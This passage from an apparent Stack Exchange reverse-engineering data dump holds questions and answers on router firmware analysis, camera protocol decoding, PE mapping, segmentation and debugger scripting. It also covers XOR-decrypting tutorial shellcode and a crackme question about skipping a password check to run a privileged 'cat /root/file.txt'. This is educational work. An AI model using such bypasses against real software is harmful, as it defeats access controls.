contents:&#xA;&#xA;DbgArea&#xA;RomDir2&#xA;Depending on the device, the following objects may be present:&#xA;&#xA;The HTPCode object contains Hardware Test Program, which can be loaded via BootExtension&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So the file that containg OS image is RasCode&#xA;i used binwalk to get more info about the file&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;--------------------------------------------------------------------------------&#xA;1225740       0x12B40C        TP-Link firmware header, firmware version: -24640.27395.-4500, image version: &amp;quot; Co., Ltd.&amp;quot;, product ID: 0x65737320, product version: 1349478766, kernel load address: 0x11F50, kernel entry point: 0xEFFFFFFF, kernel offset: 1693673252, kernel length: 4156967956, rootfs offset: 3556796160, rootfs length: 469800426, bootloader offset: 3573675958, bootloader length: 1106012034&#xA;2162096       0x20FDB0        Neighborly text, &amp;quot;neighbor loss) fail&amp;quot;&#xA;2165188       0x2109C4        ZyXEL rom-0 configuration block, name: &amp;quot;autoexec.net&amp;quot;, compressed size: 25972, uncompressed size: 11886, data offset from start of block: 8313&#xA;2178704       0x213E90        Neighborly text, &amp;quot;neighbordown: can't shutdown OSPF task completely&amp;quot;&#xA;2189282       0x2167E2        ZyXEL rom-0 configuration block, name: &amp;quot;spt.dat&amp;quot;, compressed size: 769, uncompressed size: 259, data offset from start of block: 28805&#xA;2270236       0x22A41C        HTML document footer&#xA;2270553       0x22A559        HTML document header&#xA;2274256       0x22B3D0        XML document, version: &amp;quot;1.0&amp;quot;&#xA;2340561       0x23B6D1        Base64 standard index table&#xA;2353193       0x23E829        ZyXEL rom-0 configuration block, name: &amp;quot;autoexec.net&amp;quot;, compressed size: 25972, uncompressed size: 11886, data offset from start of block: 131&#xA;2353305       0x23E899        Copyright string: &amp;quot;Copyright (c) 1994 - 2004 ZyXEL Communications Corp.&amp;quot;&#xA;2353358       0x23E8CE        Copyright string: &amp;quot;Copyright (c) 2001 - 2006 TrendChip Technologies Corp.&amp;quot;&#xA;2353413       0x23E905        Copyright string: &amp;quot;Copyright (c) 2001 - 2006 &amp;quot;&#xA;2353807       0x23EA8F        ZyXEL rom-0 configuration block, name: &amp;quot;dbgarea&amp;quot;, compressed size: 0, uncompressed size: 0, data offset from start of block: 16&#xA;2365690       0x2418FA        eCos RTOS string reference: &amp;quot;ecost&amp;quot;&#xA;2419868       0x24EC9C        SHA256 hash constants, big endian&#xA;2421932       0x24F4AC        Base64 standard index table&#xA;2422880       0x24F860        DES PC1 table&#xA;2422936       0x24F898        DES PC2 table&#xA;2423096       0x24F938        DES SP1, big endian&#xA;2423352       0x24FA38        DES SP2, big endian&#xA;2462937       0x2594D9        ZyXEL rom-0 configuration block, name: &amp;quot;autoexec.net&amp;quot;, compressed size: 25972, uncompressed size: 11886, data offset from start of block: 135&#xA;2480824       0x25DAB8        ZyXEL rom-0 configuration block, name: &amp;quot;autoexec.net&amp;quot;, compressed size: 25972, uncompressed size: 11886, data offset from start of block: 131&#xA;2521748       0x267A94        Base64 standard index table&#xA;2564056       0x271FD8        XML document, version: &amp;quot;1.0&amp;quot;&#xA;2570560       0x273940        XML document, version: &amp;quot;1.0&amp;quot;&#xA;2571748       0x273DE4        XML document, version: &amp;quot;1.0&amp;quot;&#xA;2572716       0x2741AC        XML document, version: &amp;quot;1.0&amp;quot;&#xA;2577536       0x275480        XML document, version: &amp;quot;1.0&amp;quot;&#xA;2581712       0x2764D0        XML document, version: &amp;quot;1.0&amp;quot;&#xA;2584984       0x277198        XML document, version: &amp;quot;1.0&amp;quot;&#xA;2590372       0x2786A4        XML document, version: &amp;quot;1.0&amp;quot;&#xA;2596352       0x279E00        XML document, version: &amp;quot;1.0&amp;quot;&#xA;2598488       0x27A658        XML document, version: &amp;quot;1.0&amp;quot;&#xA;2605596       0x27C21C        XML document, version: &amp;quot;1.0&amp;quot;&#xA;2622128       0x2802B0        XML document, version: &amp;quot;1.0&amp;quot;&#xA;2631608       0x2827B8        XML document, version: &amp;quot;1.0&amp;quot;&#xA;2640368       0x2849F0        XML document, version: &amp;quot;1.0&amp;quot;&#xA;2641804       0x284F8C        XML document, version: &amp;quot;1.0&amp;quot;&#xA;2654188       0x287FEC        XML document, version: &amp;quot;1.0&amp;quot;&#xA;2674971       0x28D11B        Copyright string: &amp;quot;copyright&amp;quot;&#xA;2684587       0x28F6AB        Copyright string: &amp;quot;copyright&amp;quot; &amp;gt;&amp;quot;&#xA;2786992       0x2A86B0        CRC32 polynomial table, big endian&#xA;2880544       0x2BF420        Copyright string: &amp;quot;Copyright (c) 1996-2010 Express Logic Inc. * ThreadX MIPS32_34Kx/Green Hills Version G5.4.5.0 SN: 3182-197-0401 *&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;binwalk -A show that the file have MIPS instructions and the binwalk output before show that it's a RTOS&#xA;ThreadX MIPS32_34Kx/Green Hills Version G5.4.5.0&lt;/p&gt;&#xA;&lt;p&gt;I tried to load the file into IDA but without success&lt;/p&gt;&#xA;&lt;p&gt;So my question is how can i work with this RTOS image to understand more about the firmware and find more informations.&lt;/p&gt;&#xA;&lt;p&gt;The firmware can be downloaded at : &lt;a href=&quot;https://www.tp-link.com/en/support/download/td-w8961n/v3/#Firmware&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.tp-link.com/en/support/download/td-w8961n/v3/#Firmware&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="34570" LastActivityDate="2023-07-06T08:35:11.897" Title="Reverse engineering TP-Link TD-W8961N V3" Tags="|firmware|mips|firmware-analysis|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26040" PostTypeId="1" AcceptedAnswerId="26064" CreationDate="2020-10-03T22:34:33.120" Score="0" ViewCount="231" Body="&lt;p&gt;I have a WiFi webcam that I'm trying to get to stream to my computer. I'm able to get the camera to send data to my computer, but I don't know how to decode it. The data consists of 11 1450 byte packets, followed by 1 packet with a variable size, typically about 800 bytes. This pattern repeats about 20 times per second. If I can figure out how to take those packets and turn them into a common media stream that I can open with VLC or the like, I'll be in good shape.&lt;/p&gt;&#xA;&lt;p&gt;I decompiled the manufacturer's app, DM WiFi. I've been looking through it, and so far the only concrete information I've found is that H.264 is being used, according to in com.joyhonest.wifination.VideoMediaCoder (joyhonest is a manufacturer of WiFi camera modules). I still don't know where the program is reading in the WiFi data, or how it processes it before it becomes the standard H.264 stream (e.g. stripping headers). At this point, I'm hampered by my lack of Java/Android knowledge. For instance, I can find a prototype for the function naWriteport20000, presumably sending data to the camera, whose UDP port 20000 is open. But I can't find a more substantial definition for the function that might help point me towards how data is received. As someone who hasn't written Java in 5 years and who has never touched Android app development, how should I approach dissecting this program?&lt;/p&gt;&#xA;" OwnerUserId="34571" LastActivityDate="2020-10-06T04:39:28.610" Title="Understanding how a WiFi camera app goes from packet data to video stream" Tags="|decompilation|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26041" PostTypeId="1" CreationDate="2020-10-04T02:20:51.440" Score="1" ViewCount="110" Body="&lt;p&gt;As I unpack and explore the packing structure of firmware, I am noticing that some firmware will have several file system structures.  I can't seem to find any documentation as to why one device may have 1 filesystem structure (ex squashFS) while others can have several structures within the firmware binary.&lt;/p&gt;&#xA;&lt;p&gt;Why do some vendors seem to do everything in one file system structure, while others use several structures?&lt;/p&gt;&#xA;" OwnerUserId="17076" LastActivityDate="2020-10-04T20:22:05.023" Title="Why do some firmware binaries have more than 1 file system structures" Tags="|firmware|firmware-analysis|binwalk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26043" PostTypeId="2" ParentId="26030" CreationDate="2020-10-04T03:53:32.507" Score="3" Body="&lt;p&gt;In &lt;code&gt;hexrays.hpp&lt;/code&gt;, &lt;code&gt;citem_t&lt;/code&gt; is the base class for both &lt;code&gt;cinsn_t&lt;/code&gt; (&amp;quot;instructions&amp;quot;, such as &lt;code&gt;for&lt;/code&gt; loops, &lt;code&gt;if&lt;/code&gt; statements, etc.) and &lt;code&gt;cexpr_t&lt;/code&gt; (&amp;quot;expressions&amp;quot;, such as addition, memory dereference, function calls, etc.) &lt;code&gt;citem_t&lt;/code&gt; has a field &lt;code&gt;ea_t ea;&lt;/code&gt;. That field stores the address of the corresponding line in the assembly language (unless it's &lt;code&gt;BADADDR&lt;/code&gt;, in which case, the decompiler machinery lost track of the address).&lt;/p&gt;&#xA;&lt;p&gt;To accomplish your goal specifically, you're going to want to get your hands on the &lt;code&gt;cinsn_t&lt;/code&gt; objects on certain lines in the decompilation listing. Here are three separate ideas for how to accomplish this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Grab the function body directly out of the &lt;code&gt;cfunc_t&lt;/code&gt; and process it yourself;&lt;/li&gt;&#xA;&lt;li&gt;Use a &lt;code&gt;ctree_visitor_t&lt;/code&gt; object to visit all &lt;code&gt;cinsn_t&lt;/code&gt; objects within the decompilation listing;&lt;/li&gt;&#xA;&lt;li&gt;Call &lt;code&gt;kernwin.hpp::read_selection&lt;/code&gt; to get a selection of lines within the decompilation listing (there will be some work to do in mapping these back to positions within the decompiled function body).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2020-10-04T19:21:06.040" LastActivityDate="2020-10-04T19:21:06.040" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26044" PostTypeId="1" CreationDate="2020-10-04T10:08:12.280" Score="5" ViewCount="1334" Body="&lt;p&gt;What are some modern tools or techniques for attempting to reverse a binary protocol sent over UDP?&lt;/p&gt;&#xA;&lt;p&gt;I've been trying to do research on this, and it seems like almost everything is obselete. Previous answers on this site and other resources mention a tool called Canape, which seems to no longer be maintained, or the tool netzob, which has not been updated for years. While I did manage to get it running, it doesn't seem to be terribly useful.&lt;/p&gt;&#xA;&lt;p&gt;Are there any more modern tools which might show with visual aids, repeating patterns and similar things which would aid in reversing an unknown protocol?&lt;/p&gt;&#xA;" OwnerUserId="34575" LastActivityDate="2020-11-29T20:02:45.120" Title="Modern tools for reversing binary network protocols" Tags="|protocol|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26046" PostTypeId="1" AcceptedAnswerId="26051" CreationDate="2020-10-04T17:29:23.020" Score="1" ViewCount="410" Body="&lt;p&gt;I was told that &lt;code&gt;segment:offset&lt;/code&gt; pairs were used to represent 20 bits. The segment is 4 bit shifted, and the value plus the offset becomes the physical address. I don't have to worry anymore at 32-bit system, but I'm still curious.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why were offsets allocated 16 bits, not 4 bits?&lt;/li&gt;&#xA;&lt;li&gt;Is there no problem with many virtual addresses correspond to one physical address?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="34581" LastEditorUserId="34581" LastEditDate="2020-10-04T20:35:00.650" LastActivityDate="2020-10-04T21:47:24.147" Title="Why is the offset 16 bits?" Tags="|assembly|register|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26047" PostTypeId="1" AcceptedAnswerId="26048" CreationDate="2020-10-04T18:13:07.977" Score="1" ViewCount="1341" Body="&lt;p&gt;I'm trying to follow along with this tutorial which is using IDA in it's example. &lt;a href=&quot;https://0ffset.net/reverse-engineering/malware-analysis/common-shellcode-techniques/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://0ffset.net/reverse-engineering/malware-analysis/common-shellcode-techniques/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hash: 9d7e34250477acf632c6c32fc2c50d3b&lt;/p&gt;&#xA;&lt;p&gt;In the example, after decryption of the stage 2 this is the result:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/F4vYU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/F4vYU.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1NqDr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1NqDr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When I repeat the same steps with Ghidra I get the following result:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7YEFh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7YEFh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Bjyux.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bjyux.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've been following the assembly trying to see if I could figure out what when wrong or what is going on with no results yet.&lt;/p&gt;&#xA;&lt;p&gt;While searching, I came across these references:&#xA;&lt;a href=&quot;https://c9x.me/x86/html/file_module_x86_id_139.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://c9x.me/x86/html/file_module_x86_id_139.html&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/HLT_(x86_instruction)&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/HLT_(x86_instruction)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It would be appreciated if someone could point me in the right direction.&lt;/p&gt;&#xA;&lt;p&gt;EDIT:&#xA;After Paweł Łukasik pointed out my error, it works:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kaieR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kaieR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20429" LastEditorUserId="20429" LastEditDate="2020-10-04T19:44:43.277" LastActivityDate="2020-10-04T19:44:43.277" Title="Statically Reverse Engineering Shellcode - IDA to Ghidra" Tags="|ida|disassembly|binary-analysis|ghidra|shellcode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26048" PostTypeId="2" ParentId="26047" CreationDate="2020-10-04T19:12:21.417" Score="2" Body="&lt;p&gt;Starting from address &lt;code&gt;0x56&lt;/code&gt; all your instructions seems to be off. And if you look closely it there is a pattern how much off they are from the original.&lt;/p&gt;&#xA;&lt;p&gt;For example, at offset &lt;code&gt;0x58&lt;/code&gt;, there's supposed to be &lt;code&gt;push edx&lt;/code&gt; so the byte should be &lt;code&gt;0x52&lt;/code&gt;, but you have &lt;code&gt;push esp&lt;/code&gt; which is &lt;code&gt;0x54&lt;/code&gt;. Since the article mentions that this part is encrypted with a xor (with a single digit key), let's see how those values are off&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;In [7]: 0x52 ^ 0x54&#xA;Out[7]: 6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So this is exactly the key mentioned in the article. If we compare the rest of those off instruction we will notice that they are off by the same value.&lt;/p&gt;&#xA;&lt;p&gt;Conclusion - this part of code shown in Ghidra was not decrypted and should be preprocessed before analysis.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-10-04T19:12:21.417" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26049" PostTypeId="2" ParentId="26041" CreationDate="2020-10-04T20:22:05.023" Score="1" Body="&lt;p&gt;There can be several reasons for that:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sometimes you want parts of it read/write which squashfs doesn't support. Other parts should always be read-only, so there squashfs would be a great fit.&lt;/li&gt;&#xA;&lt;li&gt;Some vendors allow OEM-partitions that contain changes specific to that OEM, while that doesn't necessarily have to be a different filesystem it's often a filesystem that allows read/write access so it's easier to setup or try out changes&lt;/li&gt;&#xA;&lt;li&gt;Different filesystems have different advantages and disadvantages: Compression, read and write speed, cpu power and so on also should be taken into consideration when choosing a filesystem&lt;/li&gt;&#xA;&lt;li&gt;Different developers working on the same project: Often a reference implementation is provided by the SoC manufacturer, that uses a specific filesystem. If developers prefer a different filesystem they decide to use it, so many developers on different parts that can be easily seperated could be a reason aswell. Ultimately this comes down to an inaccurate specification that gives the developers options where it shouldn't&lt;/li&gt;&#xA;&lt;li&gt;Sometimes developers just want to try different things. While a product shouldn't be a playground for developers, sometimes it is exactly that&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="33683" LastActivityDate="2020-10-04T20:22:05.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26050" PostTypeId="2" ParentId="26036" CreationDate="2020-10-04T20:22:18.063" Score="0" Body="&lt;p&gt;Windows Pe File in disk is aligned to 0x200 bytes normally&lt;br /&gt;&#xA;The Same File when Loaded in memory is aligned  to 0x1000 normally&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;radare2 -q -c &amp;quot;iH~Al&amp;quot; c:\Windows\System32\calc.exe&#xA;  SectionAlignment : 0x1000&#xA;  FileAlignment : 0x200&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Windows Pe File is split into sections and Each Section File Address and  Load Address is given in PE Header&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;radare2 -q -c &amp;quot;iS&amp;quot; c:\Windows\System32\calc.exe&#xA;[Sections]&#xA;Nm Paddr       Size Vaddr      Memsz Perms Name&#xA;00 0x00000400 339456 0x01001000 339968 -r-x .text&#xA;01 0x00053200 16896 0x01054000 20480 -rw- .data&#xA;02 0x00057400 403456 0x01059000 405504 -r-- .rsrc&#xA;03 0x000b9c00 15360 0x010bc000 16384 -r-- .reloc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;By Default the pe header is loaded at Imagebase&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;radare2 -q -c &amp;quot;iH~ImageBase&amp;quot; c:\Windows\System32\calc.exe&#xA;  ImageBase : 0x1000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;given these Data You Can Deduce the mapping&lt;/p&gt;&#xA;&lt;p&gt;so the bytes You See at 0x400 (first Section File Address ) in a physical file can be seen at ImageBase+Vaddr of a Loaded Module (0x1000000+0x1000)&lt;/p&gt;&#xA;&lt;p&gt;lets check some random address mapping&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;radare2 -q -c &amp;quot;s 0x1065ef0;px 10;iS.&amp;quot; c:\Windows\System32\calc.exe&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x01065ef0  0000 1562 4f49 4949 4b46                 ...bOIIIKF&#xA;Current section&#xA;Nm Paddr       Size Vaddr      Memsz Perms Checksum          Name&#xA;00 0x00057400 403456 0x01059000 405504 -r-- .rsrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;so to check we need to see if this offset in file contains same data&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; 0x1065ef0-0x1059000+0x57400&#xA;ans = 0x000642F0&#xA;&#xA;&#xA;E:\&amp;gt;git\usr\bin\xxd.exe -s 0x642f0 -l 10 c:\Windows\System32\calc.exe&#xA;000642f0: 0000 1562 4f49 4949 4b46                 ...bOIIIKF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;matches&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-10-04T20:22:18.063" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26051" PostTypeId="2" ParentId="26046" CreationDate="2020-10-04T21:28:31.003" Score="2" Body="&lt;p&gt;You are referring to the early 80s of the last century. The 8086 architecture used  this way of addressing 20-bit physical memory, the then tremendous amount of 1 (One!) MByte, or &amp;quot;one million bytes of memory&amp;quot;, as Intel calls it in /1/, p.2-7.&lt;/p&gt;&#xA;&lt;p&gt;These &amp;quot;logical addresses&amp;quot;, as Intel called them in /1/, served primarily two purposes:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;One idea behind this segment:offset scheme was to have segments of each 64kB in size which could be used anywhere (at 16Byte boundaries) in the available 20-Bit address space (8086), making these segments independent of the physical address. Intel writes in /1/, p2-8:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&amp;quot;Segmentation makes it easy to build relocatable and reentrant programs. ... (relocation means having the ability to run the same program in several different areas of memory without changing the adresses in the program itself)...&amp;quot;&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Another idea was to separate logical different parts of the memory in different segemts. The main identified memory regions were: Code, Data. Stack and Extra (the latter e.g. used as destination for data transfers). As a consequence the segment registers were named accordingly  as CS, DS, SS and ES. These names survived until today (in the 32-bit world). Later FS and GS segment registers were added, used for specific regions for the Operating System.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Thus, to answer your first question, offsets of four instead of 16 bits could not have been used to build the segments of 64kB each, intended to be relocated if necessary. 64kB segment size are a &amp;quot;natural&amp;quot; value in a 16-Bit system like the 8086.&lt;/p&gt;&#xA;&lt;p&gt;Regarding your second question, there might of course be a problem with overlapping segments if they are not treated carefully, e.g. when code and data overlap. But it was explicitly intended by Intel that segments could overlap in the most possible way, by giving them all the same value, allowing this segmented architecture be used in systems with only 64kByte of memory.&lt;/p&gt;&#xA;&lt;p&gt;According to Intel (/1/, p.2-8):&#xA;&amp;quot;In a system where the total amount of memory is 64K bytes or less, it is possible to set all segment registers equal and have fully overlapping segments.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;/1/: iAPX 86, 88, 168 and 188 User's Manual, Programmers Reference, Intel 1983&lt;/p&gt;&#xA;" OwnerUserId="12800" LastEditorUserId="12800" LastEditDate="2020-10-04T21:47:24.147" LastActivityDate="2020-10-04T21:47:24.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26052" PostTypeId="2" ParentId="26037" CreationDate="2020-10-04T22:18:59.180" Score="2" Body="&lt;p&gt;The Current ebp points to the previous ebp&lt;br /&gt;&#xA;and by inference the call that setup the previous ebp&lt;/p&gt;&#xA;&lt;p&gt;in windbg with a 32 bit binary this script will walk the stack you can use follow in dump in ollydbg to do the same&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;r $t0 = @eip&#xA;r $t1 = @ebp&#xA;.while (@$t1 !=0) &#xA;{&#xA;    .printf &amp;quot;eip = %08x\tebp = %08x\t callee = %y\n&amp;quot; , @$t0 ,@$t1,poi(@$t1+4)&#xA;    r $t0 = poi(@$t1+4)&#xA;    r $t1 = poi(@$t1)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;executing the script&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; $$&amp;gt;a&amp;lt; e:\stackwalk.wds&#xA;eip = 006a163a  ebp = 0023fa54   callee = calc!_initterm_e+0x1a1 (006b219a)&#xA;eip = 006b219a  ebp = 0023fae4   callee = kernel32!BaseThreadInitThunk+0xe (7659ed6c)&#xA;eip = 7659ed6c  ebp = 0023faf0   callee = ntdll!__RtlUserThreadStart+0x70 (77d237eb)&#xA;eip = 77d237eb  ebp = 0023fb30   callee = ntdll!_RtlUserThreadStart+0x1b (77d237be)&#xA;eip = 77d237be  ebp = 0023fb48   callee = 00000000&#xA;0:000&amp;gt; k&#xA;ChildEBP RetAddr&#xA;0023fa54 006b219a calc!WinMain+0x5&#xA;0023fae4 7659ed6c calc!_initterm_e+0x1a1&#xA;0023faf0 77d237eb kernel32!BaseThreadInitThunk+0xe&#xA;0023fb30 77d237be ntdll!__RtlUserThreadStart+0x70&#xA;0023fb48 00000000 ntdll!_RtlUserThreadStart+0x1b&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-10-04T22:18:59.180" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26053" PostTypeId="1" CreationDate="2020-10-05T03:04:19.820" Score="0" ViewCount="93" Body="&lt;p&gt;I am using radare2 to reverse engineer a standard crackme executable. I have obtained the password, but now I need use the program to read &amp;amp; print a restricted file to which the executable has access.&lt;/p&gt;&#xA;&lt;p&gt;I can see from the executable's main function through radare2 that there is a &amp;quot;login&amp;quot; section that asks for a password and this then proceeds to execute a system command that prints the restricted file.&lt;/p&gt;&#xA;&lt;p&gt;However, it seems the program flow skips past this section and terminates the program.&lt;/p&gt;&#xA;&lt;p&gt;Given an address or a string reference, how can I use radare2 to execute the program from a certain point so that I can avoid skipping it?&lt;/p&gt;&#xA;&lt;p&gt;From this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;entry point 0x00000&#xA;|&#xA;|  desired section 0x000c8 &amp;quot;enter password: &amp;quot;&#xA;v&#xA;termination 0x000f9 &amp;quot;no entry&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;entry point&#xA;|&#xA;|_-&amp;gt; desired section 0x000c8 &amp;quot;enter password: &amp;quot; -&amp;gt; 0x000ca &amp;quot;cat /root/file.txt&amp;quot; -&#xA;                                                                                 |&#xA;termination 0x000f9 &amp;lt;-___________________________________________________________|&#xA;&#xA;&#xA;&#xA; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34481" LastActivityDate="2020-10-05T03:04:19.820" Title="Radare2: Running executable from a specific point" Tags="|debugging|binary-analysis|radare2|crackme|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26054" PostTypeId="1" CreationDate="2020-10-05T05:28:52.383" Score="0" ViewCount="110" Body="&lt;p&gt;Suppose I have got an application which sends request &lt;code&gt;(GET,POST)&lt;/code&gt; to &lt;code&gt;google.com:1010/api/req&lt;/code&gt; &lt;br/&gt;&#xA;Is it possible to simulate the api on localhost and redirect requests sent to &lt;code&gt;google.com:1010/api/req&lt;/code&gt; to the mimicked api on localhost, something like &lt;code&gt;localhost:1010/api/req&lt;/code&gt;?&lt;br/&gt;&#xA;Are the any tools to facilitate this process?&lt;/p&gt;&#xA;" OwnerUserId="11621" LastActivityDate="2020-10-05T05:28:52.383" Title="APi mocking and redirecting target to localhost api" Tags="|api-hacking|api-reversing|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26055" PostTypeId="2" ParentId="26044" CreationDate="2020-10-05T07:15:47.017" Score="3" Body="&lt;p&gt;Check out &lt;a href=&quot;http://kaitai.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Kaitai Struct&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Basically you define a binary format in YAML, and it will generate code to deserialize the format.  There is a github repo with quite a few existing definitions, including one for UDP.&lt;/p&gt;&#xA;&lt;p&gt;It also has a simple hex viewer that's nice for visualization - it will highlight the format sections/structures/fields as you move around.  Or you can use the generated code to write your own programs for viewing, analysis, testing, etc.&lt;/p&gt;&#xA;&lt;p&gt;Once you get comfortable with the definition language, it lets you focus more on figuring out the protocol or file format, and less on how to parse it.&lt;/p&gt;&#xA;" OwnerUserId="1731" LastActivityDate="2020-10-05T07:15:47.017" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26056" PostTypeId="1" CreationDate="2020-10-05T08:34:28.773" Score="1" ViewCount="1562" Body="&lt;p&gt;I have used dependency walker on a DLL of an old game from 2001. I have found a function which I want to be able to analyze. I see the name of the function and the entry point (at the end).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gFVCR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gFVCR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;How do I actually set a breakpoint at this position? Do I figure out where the exe is in memory and then where the DLL has been loaded and then the entry point is the offset from the beginning of this?&lt;/p&gt;&#xA;&lt;p&gt;Is it also possible to invoke these functions via these tools or can I just debug then when the breakpoints are hit?&lt;/p&gt;&#xA;" OwnerUserId="34587" LastActivityDate="2021-07-04T15:01:20.143" Title="Calling/debugging calls to DLL via ollydbg or x64dbg" Tags="|ollydbg|x64dbg|breakpoint|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26057" PostTypeId="1" AcceptedAnswerId="26059" CreationDate="2020-10-05T08:53:58.050" Score="0" ViewCount="353" Body="&lt;p&gt;I am using remote debugging with IDA. The target and host machine are Windows.&lt;br /&gt;&#xA;I can run the process on the remote machine and debug it with IDA using remote debugging but I need that the process will run with high privileges.&lt;br /&gt;&#xA;In IDA I only have the option start the process (&lt;code&gt;F9&lt;/code&gt; or the green play button) but it doesn't run it with high privileges.&lt;/p&gt;&#xA;&lt;p&gt;How can I do it?&lt;/p&gt;&#xA;&lt;p&gt;I searched also in the options of the debugger and didn't see such option.&lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2020-10-05T10:53:30.913" Title="How to run a process with high privileges using remote debugging" Tags="|ida|debugging|remote|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
